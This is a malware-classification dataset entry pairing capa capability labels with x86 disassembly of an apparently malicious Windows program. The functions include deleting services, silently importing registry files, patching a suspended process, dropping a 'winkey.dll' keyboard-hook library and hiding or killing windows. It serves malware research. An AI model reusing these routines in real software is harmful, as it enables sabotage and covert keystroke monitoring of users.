joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4088c4
Capabilities:
Delete service
Enumerate services
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdbc
xor eax, eax
mov dword [ebp - 0x18], eax
push 0xf003f
push 0
push 0
call sub.ADVAPI32.DLL_OpenSCManagerA
mov dword [ebp - 4], eax
lea edx, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 3
push 0x30
push dword [ebp - 4]
call sub.ADVAPI32.DLL_EnumServicesStatusA
push dword [ebp - 0x10]
call fcn.0049621c
pop ecx
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push 3
push 0x30
push dword [ebp - 4]
call sub.ADVAPI32.DLL_EnumServicesStatusA
xor edx, edx
mov dword [ebp - 0x1c], edx
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x14]
jae 0x408a23
push 0x100
push 0
lea eax, [ebp - 0x144]
push eax
call fcn.004966fc
add esp, 0xc
mov edx, dword [ebp - 0x1c]
lea edx, [edx + edx*8]
mov ecx, dword [ebp - 0xc]
push dword [ecx + edx*4]
lea eax, [ebp - 0x244]
push eax
call fcn.0049687c
add esp, 8
xor edx, edx
mov dword [ebp - 0x24], edx
mov ecx, dword [ebp - 0x24]
movsx eax, byte [ebp + ecx - 0x244]
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
call fcn.0049cb58
pop ecx
mov edx, dword [ebp - 0x24]
mov byte [ebp + edx - 0x144], al
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x100
jb 0x408970
lea ecx, [ebp - 0x144]
push ecx
push dword [ebp + 8]
call sub.USER32.DLL_CharLowerA
push eax
call fcn.00496830
add esp, 8
test eax, eax
jne 0x408a14
push 0x20
mov eax, dword [ebp - 0x1c]
lea eax, [eax + eax*8]
mov edx, dword [ebp - 0xc]
push dword [edx + eax*4]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_OpenServiceA
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x44]
push ecx
push 1
push dword [ebp - 8]
call sub.ADVAPI32.DLL_ControlService
push dword [ebp - 8]
call sub.ADVAPI32.DLL_CloseServiceHandle
push 0x10000
mov eax, dword [ebp - 0x1c]
lea eax, [eax + eax*8]
mov edx, dword [ebp - 0xc]
push dword [edx + eax*4]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_OpenServiceA
mov dword [ebp - 8], eax
push dword [ebp - 8]
call sub.ADVAPI32.DLL_DeleteService
push dword [ebp - 8]
call sub.ADVAPI32.DLL_CloseServiceHandle
inc dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x14]
jb 0x40893a
push dword [ebp - 4]
call sub.ADVAPI32.DLL_CloseServiceHandle
push dword [ebp - 0xc]
call fcn.0049622c
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x40bcdc
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffebc
push ebx
push esi
push edi
mov eax, 0x5c7134
call fcn.00496c14
mov dword [ebp - 0x1c], 1
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.004a4554
inc dword [ebp - 0x1c]
mov word [ebp - 0x28], 8
mov word [ebp - 0x28], 0x14
lea eax, [ebp - 4]
call fcn.00401ad8
inc dword [ebp - 0x1c]
mov word [ebp - 0x28], 8
push 0x105
lea edx, [ebp - 0x144]
push edx
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov word [ebp - 0x28], 0x20
lea eax, [ebp - 0x10]
call fcn.00401ad8
push eax
inc dword [ebp - 0x1c]
mov edx, str._reg_ent.reg
lea eax, [ebp - 0xc]
call fcn.004a451c
inc dword [ebp - 0x1c]
lea edx, [ebp - 0xc]
push edx
lea edx, [ebp - 0x144]
lea eax, [ebp - 8]
call fcn.004a451c
inc dword [ebp - 0x1c]
pop edx
pop ecx
call fcn.004a4718
lea edx, [ebp - 0x10]
lea eax, [ebp - 4]
call fcn.004a46f0
dec dword [ebp - 0x1c]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x1c]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x1c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a46c0
mov dl, 1
mov eax, dword [0x480fc4]
call fcn.004035b0
mov dword [ebp - 0x3c], eax
mov word [ebp - 0x28], 8
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov word [ebp - 0x28], 0x2c
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax]
call dword [ecx + 0x64]
mov word [ebp - 0x28], 8
jmp 0x40be2c
push 0
mov word [ebp - 0x28], 0x38
lea eax, [ebp - 0x14]
call fcn.00401ad8
mov ecx, eax
inc dword [ebp - 0x1c]
lea edx, [ebp - 4]
mov eax, str.regedit.exe__s
call fcn.004a4b00
lea eax, [ebp - 0x14]
call fcn.00401b08
push eax
call sub.KERNEL32.DLL_WinExec
cmp eax, 0x20
setg dl
and edx, 1
push edx
dec dword [ebp - 0x1c]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004a46c0
pop ecx
test cl, cl
je 0x40beab
mov al, 1
push eax
dec dword [ebp - 0x1c]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x1c]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004a46c0
pop eax
mov edx, dword [ebp - 0x38]
mov dword fs:[0], edx
jmp 0x40bed9
xor eax, eax
push eax
dec dword [ebp - 0x1c]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x1c]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004a46c0
pop eax
mov edx, dword [ebp - 0x38]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c19c
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff5c
push 0x9c
push 0
lea eax, [ebp - 0xa4]
push eax
call fcn.004966fc
add esp, 0xc
mov dword [ebp - 0xa4], 0x9c
lea edx, [ebp - 0xa4]
push edx
call sub.KERNEL32.DLL_GetVersionExA
mov dword [ebp - 8], eax
test eax, eax
jne 0x40c1fa
mov dword [ebp - 0xa4], 0x94
lea edx, [ebp - 0xa4]
push edx
call sub.KERNEL32.DLL_GetVersionExA
test eax, eax
jne 0x40c1fa
mov eax, dword [ebp - 4]
jmp 0x40c2ad
mov edx, dword [ebp - 0x94]
sub edx, 1
jb 0x40c2a3
je 0x40c256
dec edx
jne 0x40c2aa
cmp dword [ebp - 0xa0], 4
ja 0x40c222
mov dword [ebp - 4], str.Microsoft_Windows_NT
cmp dword [ebp - 0xa0], 5
jne 0x40c23b
cmp dword [ebp - 0x9c], 0
jne 0x40c23b
mov dword [ebp - 4], str.Microsoft_Windows_2000
cmp dword [ebp - 0xa0], 5
jne 0x40c2aa
cmp dword [ebp - 0x9c], 1
jne 0x40c2aa
mov dword [ebp - 4], str.Microsoft_Windows_XP
jmp 0x40c2aa
cmp dword [ebp - 0xa0], 4
jne 0x40c26f
cmp dword [ebp - 0x9c], 0
jne 0x40c26f
mov dword [ebp - 4], str.Microsoft_Windows_95
cmp dword [ebp - 0xa0], 4
jne 0x40c288
cmp dword [ebp - 0x9c], 0xa
jne 0x40c288
mov dword [ebp - 4], str.Microsoft_Windows_98
cmp dword [ebp - 0xa0], 4
jne 0x40c2aa
cmp dword [ebp - 0x9c], 0x5a
jne 0x40c2aa
mov dword [ebp - 4], str.Microsoft_Windows_Me
jmp 0x40c2aa
mov dword [ebp - 4], str.Microsoft_Win32s
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40c694
Capabilities:
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff74
mov eax, 0x5c74b4
call fcn.00496c14
mov dword [ebp - 0x14], 2
lea edx, [ebp + 0xc]
lea eax, [ebp + 0xc]
call fcn.004a4554
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 8
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.004a4554
inc dword [ebp - 0x14]
mov byte [ebp - 0x31], 0xeb
mov byte [ebp - 0x32], 8
mov dword [ebp - 0x8c], 0x44
xor edx, edx
mov dword [ebp - 0x88], edx
xor ecx, ecx
mov dword [ebp - 0x84], ecx
xor eax, eax
mov dword [ebp - 0x80], eax
xor edx, edx
mov dword [ebp - 0x60], edx
mov word [ebp - 0x5a], 0
xor ecx, ecx
mov dword [ebp - 0x58], ecx
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x8c]
push edx
push 0
push 0
push 4
push 0
push 0
push 0
mov word [ebp - 0x20], 0x14
lea eax, [ebp - 8]
call fcn.00401ad8
push eax
inc dword [ebp - 0x14]
mov edx, 0x5bfd04
lea eax, [ebp - 4]
call fcn.004a451c
inc dword [ebp - 0x14]
lea edx, [ebp - 4]
lea eax, [ebp + 8]
pop ecx
call fcn.004a4718
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0xc]
call fcn.00401ad8
mov ecx, eax
inc dword [ebp - 0x14]
lea edx, [ebp + 0xc]
pop eax
call fcn.004a4718
lea eax, [ebp - 0xc]
call fcn.00401b08
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessA
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
pop ecx
test ecx, ecx
je 0x40c7f0
lea eax, [ebp - 0x38]
push eax
push 1
lea edx, [ebp - 0x31]
push edx
push dword [ebp + 0x10]
push dword [ebp - 0x48]
call sub.KERNEL32.DLL_WriteProcessMemory
lea ecx, [ebp - 0x38]
push ecx
push 1
lea eax, [ebp - 0x32]
push eax
mov edx, dword [ebp + 0x10]
inc edx
push edx
push dword [ebp - 0x48]
call sub.KERNEL32.DLL_WriteProcessMemory
push dword [ebp - 0x44]
call sub.KERNEL32.DLL_ResumeThread
push dword [ebp - 0x48]
call sub.KERNEL32.DLL_CloseHandle
push dword [ebp - 0x44]
call sub.KERNEL32.DLL_CloseHandle
dec dword [ebp - 0x14]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x14]
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.004a46c0
mov ecx, dword [ebp - 0x30]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x40cd40
Capabilities:
Create pipe
Create process on windows
Create process suspended
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0xf4
add esp, 0xfffff004
push eax
dec eax
jne 0x40cd49
mov eax, dword [ebp - 4]
add esp, 0xfffff928
push ebx
push esi
push edi
mov eax, 0x5c7758
call fcn.00496c14
mov dword [ebp - 0x14], 1
lea edx, [ebp + 0xc]
lea eax, [ebp + 0xc]
call fcn.004a4554
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 8
mov word [ebp - 0x20], 0x14
mov word [ebp - 0x20], 0x20
lea eax, [ebp - 4]
call fcn.00401ad8
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 0x2c
push 0xc
push 0
lea edx, [ebp - 0x48]
push edx
call fcn.004966fc
add esp, 0xc
mov dword [ebp - 0x48], 0xc
mov dword [ebp - 0x40], 1
push 0
lea ecx, [ebp - 0x48]
push ecx
lea eax, [ebp - 0x38]
push eax
lea edx, [ebp - 0x34]
push edx
call sub.KERNEL32.DLL_CreatePipe
push 0x44
push 0
lea ecx, [ebp - 0x8c]
push ecx
call fcn.004966fc
add esp, 0xc
push 0x10
push 0
lea eax, [ebp - 0x9c]
push eax
call fcn.004966fc
add esp, 0xc
mov dword [ebp - 0x8c], 0x44
mov dword [ebp - 0x60], 0x100
xor edx, edx
mov dword [ebp - 0x54], edx
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x4c], eax
lea eax, [ebp + 0xc]
call fcn.00401b08
push eax
lea edx, [ebp - 0x49c]
push edx
call fcn.0049687c
add esp, 8
lea ecx, [ebp - 0x9c]
push ecx
lea eax, [ebp - 0x8c]
push eax
push 0
push 0
push 0x8000020
push 1
push 0
push 0
lea edx, [ebp - 0x49c]
push edx
push 0
call sub.KERNEL32.DLL_CreateProcessA
push dword [ebp - 0x38]
call sub.KERNEL32.DLL_CloseHandle
mov esi, 0x4c986d
lea edi, [ebp - 0xf46dc]
mov ecx, 0x3d090
rep movsd dword es:[edi], dword [esi]
push 0
lea eax, [ebp - 0x3c]
push eax
push 0xf4240
lea edx, [ebp - 0xf46dc]
push edx
push dword [ebp - 0x34]
call sub.KERNEL32.DLL_ReadFile
mov word [ebp - 0x20], 0x38
lea edx, [ebp - 0xf46dc]
lea eax, [ebp - 8]
call fcn.004a451c
inc dword [ebp - 0x14]
lea edx, [ebp - 8]
lea eax, [ebp - 4]
call fcn.004a46f0
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a46c0
push 0x5bfd4f
lea ecx, [ebp - 0xf46dc]
push ecx
call fcn.0049687c
add esp, 8
push dword [ebp - 0x34]
call sub.KERNEL32.DLL_CloseHandle
push 0xffffffffffffffff
push dword [ebp - 0x9c]
call sub.KERNEL32.DLL_WaitForSingleObject
push 0xffffffffffffffff
push dword [ebp - 0x98]
call sub.KERNEL32.DLL_WaitForSingleObject
push dword [ebp - 0x98]
call sub.KERNEL32.DLL_CloseHandle
push dword [ebp - 0x9c]
call sub.KERNEL32.DLL_CloseHandle
mov word [ebp - 0x20], 0x44
lea edx, [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004a46f0
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x50
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x14]
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.004a46c0
pop eax
mov word [ebp - 0x20], 0x2c
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
jmp 0x40cfd3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40cfdc
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
push ebx
push esi
push edi
mov eax, 0x5c785c
call fcn.00496c14
push 0x104
lea edx, [ebp - 0x14c]
push edx
call sub.KERNEL32.DLL_GetSystemDirectoryA
push 0x5bfd5c
mov word [ebp - 0x2c], 8
lea eax, [ebp - 0xc]
call fcn.00401ad8
push eax
inc dword [ebp - 0x20]
mov edx, 0x5bfd50
lea eax, [ebp - 8]
call fcn.004a451c
inc dword [ebp - 0x20]
lea edx, [ebp - 8]
push edx
lea edx, [ebp - 0x14c]
lea eax, [ebp - 4]
call fcn.004a451c
inc dword [ebp - 0x20]
pop edx
pop ecx
call fcn.004a4718
lea eax, [ebp - 0xc]
call fcn.00401b08
push eax
call fcn.004986c4
add esp, 8
mov dword [ebp - 0x40], eax
test eax, eax
setne dl
and edx, 1
push edx
dec dword [ebp - 0x20]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x20]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x20]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
pop ecx
test cl, cl
je 0x40d0e3
xor eax, eax
mov dword [ebp - 0x44], eax
mov edx, dword [ebp - 0x40]
inc dword [edx + 8]
jns 0x40d0b9
mov ecx, dword [ebp - 0x40]
mov eax, dword [ecx]
inc dword [ecx]
mov edx, dword [ebp - 0x44]
mov cl, byte [edx + 0x4bd411]
mov byte [eax], cl
jmp 0x40d0ce
push dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
mov dl, byte [eax + 0x4bd411]
push edx
call fcn.004981ec
add esp, 8
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0x3400
jl 0x40d09d
push dword [ebp - 0x40]
call fcn.0049835c
pop ecx
lea ecx, [ebp - 0x14c]
push ecx
call sub.KERNEL32.DLL_SetCurrentDirectoryA
mov word [ebp - 0x2c], 0x14
mov word [ebp - 0x2c], 0x20
lea eax, [ebp - 0x18]
call fcn.00401ad8
push eax
inc dword [ebp - 0x20]
mov edx, str.winkey.dll
lea eax, [ebp - 0x14]
call fcn.004a451c
inc dword [ebp - 0x20]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 0x14c]
lea eax, [ebp - 0x10]
call fcn.004a451c
inc dword [ebp - 0x20]
pop edx
pop ecx
call fcn.004a4718
lea eax, [ebp - 0x18]
call fcn.00401b08
push eax
call sub.KERNEL32.DLL_LoadLibraryA
mov dword [0x5d8488], eax
dec dword [ebp - 0x20]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x20]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x20]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a46c0
cmp dword [0x5d8488], 0
je 0x40d1ae
push str.installhook
push dword [0x5d8488]
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0x48], eax
mov word [ebp - 0x2c], 0x2c
call dword [ebp - 0x48]
mov word [ebp - 0x2c], 0x14
jmp 0x40d1ae
mov word [ebp - 0x2c], 0
jmp 0x40d1c1
mov ecx, dword [ebp - 0x3c]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d1d4
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
push ebx
push esi
push edi
mov eax, 0x5c7924
call fcn.00496c14
push 0x104
lea edx, [ebp - 0x14c]
push edx
call sub.KERNEL32.DLL_GetSystemDirectoryA
push 0x5bfd83
mov word [ebp - 0x2c], 8
lea eax, [ebp - 0xc]
call fcn.00401ad8
push eax
inc dword [ebp - 0x20]
mov edx, 0x5bfd77
lea eax, [ebp - 8]
call fcn.004a451c
inc dword [ebp - 0x20]
lea edx, [ebp - 8]
push edx
lea edx, [ebp - 0x14c]
lea eax, [ebp - 4]
call fcn.004a451c
inc dword [ebp - 0x20]
pop edx
pop ecx
call fcn.004a4718
lea eax, [ebp - 0xc]
call fcn.00401b08
push eax
call fcn.004986c4
add esp, 8
mov dword [ebp - 0x40], eax
test eax, eax
setne dl
and edx, 1
push edx
dec dword [ebp - 0x20]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x20]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x20]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
pop ecx
test cl, cl
je 0x40d2db
xor eax, eax
mov dword [ebp - 0x44], eax
mov edx, dword [ebp - 0x40]
inc dword [edx + 8]
jns 0x40d2b1
mov ecx, dword [ebp - 0x40]
mov eax, dword [ecx]
inc dword [ecx]
mov edx, dword [ebp - 0x44]
mov cl, byte [edx + 0x4c0821]
mov byte [eax], cl
jmp 0x40d2c6
push dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
mov dl, byte [eax + 0x4c0821]
push edx
call fcn.004981ec
add esp, 8
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0x9000
jl 0x40d295
push dword [ebp - 0x40]
call fcn.0049835c
pop ecx
lea ecx, [ebp - 0x14c]
push ecx
call sub.KERNEL32.DLL_SetCurrentDirectoryA
mov word [ebp - 0x2c], 0x14
mov word [ebp - 0x2c], 0x20
lea eax, [ebp - 0x18]
call fcn.00401ad8
push eax
inc dword [ebp - 0x20]
mov edx, 0x5bfd86
lea eax, [ebp - 0x14]
call fcn.004a451c
inc dword [ebp - 0x20]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 0x14c]
lea eax, [ebp - 0x10]
call fcn.004a451c
inc dword [ebp - 0x20]
pop edx
pop ecx
call fcn.004a4718
lea eax, [ebp - 0x18]
call fcn.00401b08
push eax
call sub.KERNEL32.DLL_LoadLibraryA
mov dword [0x5d848c], eax
dec dword [ebp - 0x20]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x20]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x20]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a46c0
cmp dword [0x5d848c], 0
je 0x40d3a6
push str.InstallHook
push dword [0x5d848c]
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0x48], eax
mov word [ebp - 0x2c], 0x2c
call dword [ebp - 0x48]
mov word [ebp - 0x2c], 0x14
jmp 0x40d3a6
mov word [ebp - 0x2c], 0
jmp 0x40d3b9
mov ecx, dword [ebp - 0x3c]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d544
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov eax, 0x5c7a2c
call fcn.00496c14
mov word [ebp - 0x14], 8
push 0xffffffffffffffff
call sub.KERNEL32.DLL_SetLastError
push 1
call sub.KERNEL32.DLL_SetErrorMode
push 0
push 0
push 0
push 0
push dword [ebp + 8]
call sub.KERNEL32.DLL_GetDiskFreeSpaceA
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xffffffff
jne 0x40d593
mov al, 1
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x40d5c1
xor eax, eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x40d5c1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40d5c8
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffb10
mov eax, 0x5c7ab0
call fcn.00496c14
mov dl, 1
mov eax, dword [0x480fc4]
call fcn.004035b0
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov edx, dword [eax]
call dword [edx + 0x40]
mov word [ebp - 0x28], 8
lea eax, [ebp - 4]
call fcn.00401ad8
inc dword [ebp - 0x1c]
mov word [ebp - 0x28], 0x14
push 0
push 0
call sub.USER32.DLL_FindWindowA
mov dword [ebp - 0x40], eax
push 2
push dword [ebp - 0x40]
call sub.USER32.DLL_GetWindow
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x40d6d4
push 0x4b0
lea edx, [ebp - 0x4f0]
push edx
push dword [ebp - 0x40]
call sub.USER32.DLL_GetWindowTextA
push dword [ebp - 0x40]
call sub.USER32.DLL_IsWindowVisible
test eax, eax
jne 0x40d652
cmp byte [ebp + 0xc], 0
je 0x40d615
push 0x5bfdd5
lea ecx, [ebp - 0x4f0]
push ecx
call fcn.00496830
add esp, 8
test eax, eax
je 0x40d615
push 0x5bfdd6
lea eax, [ebp - 0x4f0]
push eax
call fcn.00496830
add esp, 8
test eax, eax
je 0x40d615
push 0x5bfdea
lea edx, [ebp - 0x4f0]
push edx
call fcn.00496830
add esp, 8
test eax, eax
je 0x40d615
mov word [ebp - 0x28], 0x20
lea edx, [ebp - 0x4f0]
lea eax, [ebp - 8]
call fcn.004a451c
inc dword [ebp - 0x1c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax]
call dword [ecx + 0x34]
dec dword [ebp - 0x1c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a46c0
jmp 0x40d615
mov word [ebp - 0x28], 0x2c
lea eax, [ebp - 0xc]
call fcn.00401ad8
mov edx, eax
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
lea edx, [ebp - 0xc]
lea eax, [ebp - 4]
call fcn.004a46f0
dec dword [ebp - 0x1c]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a46c0
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 0
je 0x40d737
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
mov dword [ebp - 0x10], edx
mov word [ebp - 0x28], 0x44
mov edx, 3
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x28], 0x38
mov word [ebp - 0x28], 0x50
lea edx, [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004a46f0
mov eax, dword [ebp + 8]
mov word [ebp - 0x28], 0x5c
push eax
dec dword [ebp - 0x1c]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
pop eax
mov word [ebp - 0x28], 0x50
inc dword [ebp - 0x1c]
mov edx, dword [ebp - 0x38]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x40d77c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov eax, 0x5c7b48
call fcn.00496c14
mov dword [ebp - 8], 1
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.004a4554
inc dword [ebp - 8]
mov word [ebp - 0x14], 8
mov word [ebp - 0x14], 0x14
lea eax, [ebp + 8]
call fcn.00401b08
push eax
push 0
call sub.USER32.DLL_FindWindowA
mov dword [ebp - 0x2c], eax
mov word [ebp - 0x14], 0x14
cmp dword [ebp - 0x2c], 0
jne 0x40d7f2
xor eax, eax
push eax
dec dword [ebp - 8]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004a46c0
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x40d88b
lea ecx, [ebp - 0x28]
push ecx
push dword [ebp - 0x2c]
call sub.USER32.DLL_GetWindowThreadProcessId
push 0
push dword [ebp - 0x28]
push 0
push 0x1f0fff
call sub.KERNEL32.DLL_OpenProcess
push eax
call sub.KERNEL32.DLL_TerminateProcess
test eax, eax
je 0x40d839
mov al, 1
push eax
dec dword [ebp - 8]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004a46c0
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x40d88b
xor eax, eax
push eax
dec dword [ebp - 8]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004a46c0
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x40d88b
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40d894
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
mov eax, 0x5c7b78
call fcn.00496c14
mov dword [ebp - 8], 1
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.004a4554
inc dword [ebp - 8]
mov word [ebp - 0x14], 8
lea eax, [ebp + 8]
call fcn.00401b08
push eax
push 0
call sub.USER32.DLL_FindWindowA
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x40d8f8
xor eax, eax
push eax
dec dword [ebp - 8]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004a46c0
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x40d944
push 0
push dword [ebp - 0x28]
call sub.USER32.DLL_ShowWindow
test eax, eax
je 0x40d926
mov al, 1
push eax
dec dword [ebp - 8]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004a46c0
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
jmp 0x40d944
xor eax, eax
push eax
dec dword [ebp - 8]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004a46c0
pop eax
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret